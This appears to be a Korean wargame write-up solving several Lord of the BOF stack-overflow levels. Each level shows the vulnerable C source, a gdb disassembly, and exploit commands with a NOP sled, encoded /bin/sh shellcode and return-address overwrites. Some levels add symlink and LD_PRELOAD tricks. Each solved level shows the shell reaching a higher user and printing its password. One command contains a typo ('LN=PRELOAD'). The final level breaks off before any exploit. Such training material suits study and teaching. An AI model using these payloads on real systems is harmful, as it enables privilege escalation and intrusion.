여기서 부터 재밌는게 이 문제는 argv[0]에 쉘 코드를 입력하여, 풀어야 한다. b *main+3 정도에 브프를 걸고 x/1000s $esp 시 특정 메모리 영역에서 부터 환경 변수가 노출되게 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0xbffffe29: "i686"
0xbffffe2e: "/tmp/troll"
0xbffffe39: "123"
0xbffffe3d: "PWD=/home/orge"
0xbffffe4c: "REMOTEHOST=192.168.248.1"
0xbffffe65: "HOSTNAME=localhost.localdomain"
0xbffffe84: "LESSOPEN=|/usr/bin/lesspipe.sh %s"
---Type <return> to continue, or q <return> to quit---
0xbffffea6: "USER=orge"
0xbffffeb0: "LS_COLORS="
0xbffffebb: "MACHTYPE=i386-redhat-linux-gnu"
0xbffffeda: "MAIL=/var/spool/mail/orge"
0xbffffef4: "INPUTRC=/etc/inputrc"
0xbfffff09: "BASH_ENV=/home/orge/.bashrc"
0xbfffff25: "LANG=en_US"
0xbfffff30: "LOGNAME=orge"
0xbfffff3d: "SHLVL=1"
0xbfffff45: "SHELL=/bin/bash2"
0xbfffff56: "USERNAME="
0xbfffff60: "HOSTTYPE=i386"
0xbfffff6e: "OSTYPE=linux-gnu"
0xbfffff7f: "HISTSIZE=1000"
0xbfffff8d: "TERM=xterm-256color"
0xbfffffa1: "HOME=/home/orge"
0xbfffffb1: "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/orge/bin"
0xbffffff1: "/tmp/troll"
이 주소는 egghunter 함수에 의해서 초기화가 된다. 확인을 해보면 아래와 같다.
1
2
3
(gdb) r `python -c 'print "A"*47+"\xbf"'`
Starting program: /tmp/troll `python -c 'print "A"*47+"\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
이런식으로 segmentation fault를 유도하고 다시 메모리 확인해보자.
1
2
0xbffffdfc: "i686"
0xbffffe01: "/tmp/troll"
우리가 입력한 argv[0]의 값이 메모리에 그대로 남게 되는데, 메모리 주소는 변경된다…. 무튼
3. exploit code
1
2
3
4
5
6
cp troll /tmp/troll
gdb -q /tmp/troll
b *main+317
r `python -c 'print "A"*44+"BBB\xbf"'`
x/10000s $esp
위와 같이 입력 시 argv[0]의 위치를 알 수 있다.
1
2
3
0xbffffdfc: "i686"
0xbffffe01: "/tmp/troll"
0xbffffff1: "/tmp/troll"
argv[0]인 /tmp/troll의 위치는 0xbffffe01, 0xbffffff1
1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
여기에 위의 쉘 코드를 넣게 되면 어떨까?
1
cp ~/troll `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
위와 같이 파일 복사
1
./`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
파일 실행을 하면 segment 오류가 발생한다. gdb -q -c core 명령어를 이용하여 x/1000s $esp 를 확인해 본다.
1
2
0xbffffb24: "./", '\220' <repeats 198 times>..
0xbfffff01: "./", '\220' <repeats 198 times>...
nop을 많이 넣게 되고 마지막 argv[0] 값이 커널 메모리를 건드리므로 오류가 발생한다.
1
./`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\x24\xfb\xff\xbf"'`
argv[0]이 담겨져 있는 메모리의 주소를 RET 부분에 덮어 씌우면 쉘이 뜨게 된다.
1
2
3
4
5
bash$ id
uid=507(orge) gid=507(orge) groups=507(orge)
bash$ my-pass
euid = 507
timewalker
하지만… 이렇게 되기 때문에 현재의 권한을 위해 심볼링 링크를 걸어줘야 한다.
1
2
3
ln -sf ~/troll `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`*
./`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`* `python -c 'print "A"*44+"\x24\xfb\xff\xbf"'`
이렇게 payload를 입력하게 되면!!!
1
2
3
4
5
6
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$���
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)
bash$ my-pass
euid = 508
aspirin
드디어 성공…. 개삽질했다 이번껀은…너무 힘들었음
명령어 옵션은 아래의 참고한 블로그 내용을 보면 알 수 있다.
ln 사용 시 -f 는 파일이 존재해도 무시하는 옵션이고, ``를 닫고 *를 쓴 것은, *을 와일드 카드로 사용한 것이다.
rm *를 하면 디렉토리 내 모든 파일을 삭제하는 명령이듯이, \x90로 시작하는 모든 파일을 가리키는 것이다.
링크할 때도, 실행할 때도 저렇게 사용할 수 있다.
그리고 RET 영역을 0xbffff946으로 변조해도 쉘이 잘 실행된다. ‘./’을 기계어로 취급하여 수행해도 쉘코드 실행에 문제가 되지 않기 때문이다.
출처: http://ssaemo.tistory.com/19 [뾰족뾰족]
troll
1. source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
The Lord of the BOF : The Fellowship of the BOF
- vampire
- check 0xbfff
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// here is changed!
if(argv[1][46] == '\xff')
{
printf("but it's not forever\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
소스코드를 보면… argv[1][46] 부분이 \xff가 되면 안되는 듯 하다… 이떄까지는 0xbfffff28 등.. 중간 값들이 ff 로 되었는데 어떻게 변경할 수 있을까? 계산기를 통해 계산을 해보자…
0xbfffffff-0xbffeffff = 0x10000 = 65536
이렇게 빼면되지 않을까? 라는 생각을 먼저 해보았다.
2. gdb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %ebp,%esp
0x8048433 <main+3>: sub %esp,40
0x8048436 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804843a <main+10>: jg 0x8048453 <main+35>
0x804843c <main+12>: push 0x8048520
0x8048441 <main+17>: call 0x8048350 <printf>
0x8048446 <main+22>: add %esp,4
0x8048449 <main+25>: push 0
0x804844b <main+27>: call 0x8048360 <exit>
0x8048450 <main+32>: add %esp,4
0x8048453 <main+35>: mov %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>: add %eax,4
0x8048459 <main+41>: mov %edx,DWORD PTR [%eax]
0x804845b <main+43>: add %edx,47
0x804845e <main+46>: cmp BYTE PTR [%edx],0xbf
0x8048461 <main+49>: je 0x8048480 <main+80>
0x8048463 <main+51>: push 0x804852c
0x8048468 <main+56>: call 0x8048350 <printf>
0x804846d <main+61>: add %esp,4
0x8048470 <main+64>: push 0
0x8048472 <main+66>: call 0x8048360 <exit>
0x8048477 <main+71>: add %esp,4
0x804847a <main+74>: lea %esi,[%esi]
0x8048480 <main+80>: mov %eax,DWORD PTR [%ebp+12]
0x8048483 <main+83>: add %eax,4
0x8048486 <main+86>: mov %edx,DWORD PTR [%eax]
0x8048488 <main+88>: add %edx,46
0x804848b <main+91>: cmp BYTE PTR [%edx],0xff
0x804848e <main+94>: jne 0x80484a7 <main+119>
0x8048490 <main+96>: push 0x8048549
0x8048495 <main+101>: call 0x8048350 <printf>
0x804849a <main+106>: add %esp,4
0x804849d <main+109>: push 0
0x804849f <main+111>: call 0x8048360 <exit>
0x80484a4 <main+116>: add %esp,4
0x80484a7 <main+119>: mov %eax,DWORD PTR [%ebp+12]
0x80484aa <main+122>: add %eax,4
0x80484ad <main+125>: mov %edx,DWORD PTR [%eax]
0x80484af <main+127>: push %edx
0x80484b0 <main+128>: lea %eax,[%ebp-40]
0x80484b3 <main+131>: push %eax
0x80484b4 <main+132>: call 0x8048370 <strcpy>
0x80484b9 <main+137>: add %esp,8
0x80484bc <main+140>: lea %eax,[%ebp-40]
0x80484bf <main+143>: push %eax
0x80484c0 <main+144>: push 0x804855f
0x80484c5 <main+149>: call 0x8048350 <printf>
0x80484ca <main+154>: add %esp,8
0x80484cd <main+157>: leave
0x80484ce <main+158>: ret
0x80484cf <main+159>: nop
3. exploit code
payload는 이렇다.. 스택은 높은 주소에서 낮은 주소로 스택이 쌓이기 때문에 A를 44개 넣고 \xbf\xbf\xbf\xbf eip 주소를 넣게 되면 기본적인 payload가 만들어지게 되고 argv[1][49] 부분 부터 nop 슬라이드와 쉘 코드를 삽입하게 되는데 이때 nop을 \xbffeffff 만큼 넣어줘야 하므로… 65536 이상 넣어주게 된다.
1
./vampire `python - c 'print "A"*44+"\xbf\xbf\xbf\xbf"+"\x90"*65536+"\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
위와 같은 payload를 먼저 실행 시키게 되면, segmentation 오류가 발생하고 coredump를 통해 esp 주소를 확인하게 되면
1
2
3
4
5
6
[troll@localhost tmp]$ gdb -q -c core
Core was generated by `�������������������������������������������������������������������������������'.
Program terminated with signal 11, Segmentation fault.
#0 0xbfbfbfbf in ?? ()
(gdb) x/x $esp
0xbffe75d0: 0x90909090
nop가 시작하는 주소는 0xbffe75d0 이므로 해당 주소를 payload 내 RET 부분에 넣어 최종 exploit payload를 짜게 되면
1
./vampire `python -c 'print "A"*44+"\xd0\x75\xfe\xbf"+"\x90"*100000+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
위와 같이 되고 실행 시키게 되면 끝!
1
2
3
4
5
bash$ id
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)
bash$ my-pass
euid = 509
music world
vampire
1. source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*
The Lord of the BOF : The Fellowship of the BOF
- skeleton
- argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
// argc saver
saved_argc = argc;
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}
argv[0],argv[1]의 값이 ultra argv hunter 기능을 통해 0 으로 memset이 되버린다..
2. gdb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,48
0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804850a <main+10>: jg 0x8048523 <main+35>
0x804850c <main+12>: push 0x80486d0
0x8048511 <main+17>: call 0x8048410 <printf>
0x8048516 <main+22>: add %esp,4
0x8048519 <main+25>: push 0
0x804851b <main+27>: call 0x8048420 <exit>
0x8048520 <main+32>: add %esp,4
0x8048523 <main+35>: nop
0x8048524 <main+36>: mov DWORD PTR [%ebp-44],0x0
0x804852b <main+43>: nop
0x804852c <main+44>: lea %esi,[%esi*1]
0x8048530 <main+48>: mov %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>: lea %edx,[%eax*4]
0x804853a <main+58>: mov %eax,%ds:0x8049804
0x804853f <main+63>: cmp DWORD PTR [%eax+%edx],0
0x8048543 <main+67>: jne 0x8048547 <main+71>
0x8048545 <main+69>: jmp 0x8048587 <main+135>
0x8048547 <main+71>: mov %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>: lea %edx,[%eax*4]
0x8048551 <main+81>: mov %eax,%ds:0x8049804
0x8048556 <main+86>: mov %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>: push %edx
0x804855a <main+90>: call 0x80483f0 <strlen>
0x804855f <main+95>: add %esp,4
0x8048562 <main+98>: mov %eax,%eax
0x8048564 <main+100>: push %eax
0x8048565 <main+101>: push 0
0x8048567 <main+103>: mov %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>: lea %edx,[%eax*4]
0x8048571 <main+113>: mov %eax,%ds:0x8049804
0x8048576 <main+118>: mov %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>: push %edx
0x804857a <main+122>: call 0x8048430 <memset>
0x804857f <main+127>: add %esp,12
0x8048582 <main+130>: inc DWORD PTR [%ebp-44]
0x8048585 <main+133>: jmp 0x8048530 <main+48>
0x8048587 <main+135>: mov %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>: add %eax,4
0x804858d <main+141>: mov %edx,DWORD PTR [%eax]
0x804858f <main+143>: add %edx,47
0x8048592 <main+146>: cmp BYTE PTR [%edx],0xbf
0x8048595 <main+149>: je 0x80485b0 <main+176>
0x8048597 <main+151>: push 0x80486dc
0x804859c <main+156>: call 0x8048410 <printf>
0x80485a1 <main+161>: add %esp,4
0x80485a4 <main+164>: push 0
0x80485a6 <main+166>: call 0x8048420 <exit>
0x80485ab <main+171>: add %esp,4
0x80485ae <main+174>: mov %esi,%esi
0x80485b0 <main+176>: mov %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>: add %eax,4
0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax]
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: call 0x80483f0 <strlen>
0x80485be <main+190>: add %esp,4
0x80485c1 <main+193>: mov %eax,%eax
0x80485c3 <main+195>: cmp %eax,48
0x80485c6 <main+198>: jbe 0x80485e0 <main+224>
0x80485c8 <main+200>: push 0x80486f9
0x80485cd <main+205>: call 0x8048410 <printf>
0x80485d2 <main+210>: add %esp,4
0x80485d5 <main+213>: push 0
0x80485d7 <main+215>: call 0x8048420 <exit>
0x80485dc <main+220>: add %esp,4
0x80485df <main+223>: nop
0x80485e0 <main+224>: mov %eax,DWORD PTR [%ebp+8]
0x80485e3 <main+227>: mov DWORD PTR [%ebp-48],%eax
0x80485e6 <main+230>: mov %eax,DWORD PTR [%ebp+12]
0x80485e9 <main+233>: add %eax,4
0x80485ec <main+236>: mov %edx,DWORD PTR [%eax]
0x80485ee <main+238>: push %edx
0x80485ef <main+239>: lea %eax,[%ebp-40]
0x80485f2 <main+242>: push %eax
0x80485f3 <main+243>: call 0x8048440 <strcpy>
0x80485f8 <main+248>: add %esp,8
0x80485fb <main+251>: lea %eax,[%ebp-40]
0x80485fe <main+254>: push %eax
0x80485ff <main+255>: push 0x8048710
0x8048604 <main+260>: call 0x8048410 <printf>
0x8048609 <main+265>: add %esp,8
0x804860c <main+268>: push 40
0x804860e <main+270>: push 0
0x8048610 <main+272>: lea %eax,[%ebp-40]
0x8048613 <main+275>: push %eax
0x8048614 <main+276>: call 0x8048430 <memset>
0x8048619 <main+281>: add %esp,12
0x804861c <main+284>: mov DWORD PTR [%ebp-44],0x0
0x8048623 <main+291>: mov %eax,DWORD PTR [%ebp-44]
0x8048626 <main+294>: cmp %eax,DWORD PTR [%ebp-48]
0x8048629 <main+297>: jl 0x8048630 <main+304>
0x804862b <main+299>: jmp 0x8048670 <main+368>
0x804862d <main+301>: lea %esi,[%esi]
0x8048630 <main+304>: mov %eax,DWORD PTR [%ebp-44]
0x8048633 <main+307>: lea %edx,[%eax*4]
0x804863a <main+314>: mov %eax,DWORD PTR [%ebp+12]
0x804863d <main+317>: mov %edx,DWORD PTR [%eax+%edx]
0x8048640 <main+320>: push %edx
0x8048641 <main+321>: call 0x80483f0 <strlen>
0x8048646 <main+326>: add %esp,4
0x8048649 <main+329>: mov %eax,%eax
0x804864b <main+331>: push %eax
0x804864c <main+332>: push 0
0x804864e <main+334>: mov %eax,DWORD PTR [%ebp-44]
0x8048651 <main+337>: lea %edx,[%eax*4]
0x8048658 <main+344>: mov %eax,DWORD PTR [%ebp+12]
0x804865b <main+347>: mov %edx,DWORD PTR [%eax+%edx]
0x804865e <main+350>: push %edx
0x804865f <main+351>: call 0x8048430 <memset>
0x8048664 <main+356>: add %esp,12
0x8048667 <main+359>: inc DWORD PTR [%ebp-44]
0x804866a <main+362>: jmp 0x8048623 <main+291>
0x804866c <main+364>: lea %esi,[%esi*1]
0x8048670 <main+368>: leave
0x8048671 <main+369>: ret
0x8048672 <main+370>: nop
0x8048673 <main+371>: nop
0x8048674 <main+372>: nop
0x8048675 <main+373>: nop
0x8048676 <main+374>: nop
0x8048677 <main+375>: nop
0x8048678 <main+376>: nop
0x8048679 <main+377>: nop
0x804867a <main+378>: nop
0x804867b <main+379>: nop
0x804867c <main+380>: nop
0x804867d <main+381>: nop
0x804867e <main+382>: nop
0x804867f <main+383>: nop
3. exploit code
0xbfffff97
1
cp ~/skeleton `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
1
ln -sf ~/skeleton `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`
1
./`python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'` `python -c 'print "A"*44+"\x97\xff\xff\xbf"'`
1
2
3
4
5
bash$ id
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
bash$ my-pass
euid = 510
shellcoder
skeleton
1. source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
The Lord of the BOF : The Fellowship of the BOF
- golem
- stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
stack destroyer란 부분이 추가 되었는데…. argv[0], arvg[1] 도 입력할 수 없다… 그러면 다른 방법을 이용하여, 스택에 쉘 코드를 넣어야 하는데… 어떻게 할까.. 방법을 찾아 보니 스택영역에 라이브러리를 추가할 수 있는 환경 변수가 존재하였다.
그 환경 변수는 바로 : “LD_PRELOAD” 이다
export 명령어를 통해 등록을 할 수 있으며, 등록 명령어 : export LD_PRELOAD=”test.so” 삭제 명령어 : export -n LD_PRELOAD=”test.so” 확인 명령어 : export
2. gdb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
0x8048470 <main>: push %ebp
0x8048471 <main+1>: mov %ebp,%esp
0x8048473 <main+3>: sub %esp,44
0x8048476 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804847a <main+10>: jg 0x8048493 <main+35>
0x804847c <main+12>: push 0x8048570
0x8048481 <main+17>: call 0x8048378 <printf>
0x8048486 <main+22>: add %esp,4
0x8048489 <main+25>: push 0
0x804848b <main+27>: call 0x8048388 <exit>
0x8048490 <main+32>: add %esp,4
0x8048493 <main+35>: mov %eax,DWORD PTR [%ebp+12]
0x8048496 <main+38>: add %eax,4
0x8048499 <main+41>: mov %edx,DWORD PTR [%eax]
0x804849b <main+43>: add %edx,47
0x804849e <main+46>: cmp BYTE PTR [%edx],0xbf
0x80484a1 <main+49>: je 0x80484c0 <main+80>
0x80484a3 <main+51>: push 0x804857c
0x80484a8 <main+56>: call 0x8048378 <printf>
0x80484ad <main+61>: add %esp,4
0x80484b0 <main+64>: push 0
0x80484b2 <main+66>: call 0x8048388 <exit>
0x80484b7 <main+71>: add %esp,4
0x80484ba <main+74>: lea %esi,[%esi]
0x80484c0 <main+80>: mov %eax,DWORD PTR [%ebp+12]
0x80484c3 <main+83>: add %eax,4
0x80484c6 <main+86>: mov %edx,DWORD PTR [%eax]
0x80484c8 <main+88>: push %edx
0x80484c9 <main+89>: lea %eax,[%ebp-40]
0x80484cc <main+92>: push %eax
0x80484cd <main+93>: call 0x80483a8 <strcpy>
0x80484d2 <main+98>: add %esp,8
0x80484d5 <main+101>: lea %eax,[%ebp-40]
0x80484d8 <main+104>: push %eax
0x80484d9 <main+105>: push 0x8048599
0x80484de <main+110>: call 0x8048378 <printf>
0x80484e3 <main+115>: add %esp,8
0x80484e6 <main+118>: push 44
0x80484e8 <main+120>: push 0
0x80484ea <main+122>: lea %eax,[%ebp-40]
0x80484ed <main+125>: push %eax
0x80484ee <main+126>: call 0x8048398 <memset>
0x80484f3 <main+131>: add %esp,12
0x80484f6 <main+134>: lea %eax,[%ebp-40]
0x80484f9 <main+137>: mov %edx,0xbfffffcf
0x80484fe <main+142>: mov %ecx,%edx
0x8048500 <main+144>: sub %ecx,%eax
0x8048502 <main+146>: mov %eax,%ecx
0x8048504 <main+148>: push %eax
0x8048505 <main+149>: push 0
0x8048507 <main+151>: lea %eax,[%ebp-40]
0x804850a <main+154>: lea %edx,[%eax+48]
0x804850d <main+157>: push %edx
0x804850e <main+158>: call 0x8048398 <memset>
0x8048513 <main+163>: add %esp,12
0x8048516 <main+166>: leave
0x8048517 <main+167>: ret
0x8048518 <main+168>: nop
0x8048519 <main+169>: nop
0x804851a <main+170>: nop
0x804851b <main+171>: nop
0x804851c <main+172>: nop
0x804851d <main+173>: nop
0x804851e <main+174>: nop
0x804851f <main+175>: nop
3. exploit code
1
2
3
mkdir tmp
touch /home/skeleton/tmp`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
export LN=PRELOAD=/home/skeleton/tmp`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
우선 쉘 코드를 LD_PRELOAD 에 삽입을 해야 한다. 이후에는 좀 재밌게 되는데….
1
2
3
4
cp ~/golem test
./test python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
segmentation fault core
gdb -q -c core
코어 덤프를 통해 실제로 쉘코드가 있는 주소를 찾아야 하는데… 이 부분이 진짜 개삽질이었다…
1
2
x/10000s 0xbffff000
0xbffff66f: "@�D\001@/tmp/dirgolem/", '\220' <repeats 18 times>, "\234\205\004\b", '\220' <repeats 16 times>
진짜 삽질로 파악하게 되었다… 쉘 코드는 0xbffff66f 부터 시작되게 되는데 넉넉하게 0xbffff68f를 주고 실행하였다.
1
2
3
4
5
6
rm -rf test
ln -sf ~/golem test
./test `python -c 'print "A"*44+"\x8f\xf6\xff\xbf"'`
bash$ my-pass
euid = 511
cup of coffee
4일동안 개삽질했다… 저 쉘코드가 시작되는 주소를 못찾아서 ㅠㅜ
지금부터는 write-up을 참조하여, 빨리 문제를 풀도록 하겠다 ㅠㅜ
golem
1. source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
개인적으로 소스를 분석 했을 때 buffer의 메모리 크기는 40이고, strncpy의 최대 길이는 41이다.. 무엇인가.. 여기가 취약점인 것 같다… 좀더 자세히 살펴보자
해당 문제는 FPO(Frame Pointer Overwriting)를 이용해야 한다.
2. gdb
main 함수
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x804846c <main>: push %ebp
0x804846d <main+1>: mov %ebp,%esp
0x804846f <main+3>: cmp DWORD PTR [%ebp+8],1
0x8048473 <main+7>: jg 0x8048490 <main+36>
0x8048475 <main+9>: push 0x8048504
0x804847a <main+14>: call 0x8048354 <printf>
0x804847f <main+19>: add %esp,4
0x8048482 <main+22>: push 0
0x8048484 <main+24>: call 0x8048364 <exit>
0x8048489 <main+29>: add %esp,4
0x804848c <main+32>: lea %esi,[%esi*1]
0x8048490 <main+36>: mov %eax,DWORD PTR [%ebp+12]
0x8048493 <main+39>: add %eax,4
0x8048496 <main+42>: mov %edx,DWORD PTR [%eax]
0x8048498 <main+44>: push %edx
0x8048499 <main+45>: call 0x8048440 <problem_child>
0x804849e <main+50>: add %esp,4
0x80484a1 <main+53>: leave
problem_child
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x8048440 <problem_child>: push %ebp
0x8048441 <problem_child+1>: mov %ebp,%esp
0x8048443 <problem_child+3>: sub %esp,40
0x8048446 <problem_child+6>: push 41
0x8048448 <problem_child+8>: mov %eax,DWORD PTR [%ebp+8]
0x804844b <problem_child+11>: push %eax
0x804844c <problem_child+12>: lea %eax,[%ebp-40]
0x804844f <problem_child+15>: push %eax
0x8048450 <problem_child+16>: call 0x8048374 <strncpy>
0x8048455 <problem_child+21>: add %esp,12
0x8048458 <problem_child+24>: lea %eax,[%ebp-40]
0x804845b <problem_child+27>: push %eax
0x804845c <problem_child+28>: push 0x8048500
0x8048461 <problem_child+33>: call 0x8048354 <printf>
0x8048466 <problem_child+38>: add %esp,8
0x8048469 <problem_child+41>: leave
0x804846a <problem_child+42>: ret
3. exploit code
FPO를 통해 exploit을 하기 위해서는 leave, ret 개념을 잘 파악해야 할 것 같다.
leave = move esp, ebp | pop ebp |
ret = pop eip | jmp eip |
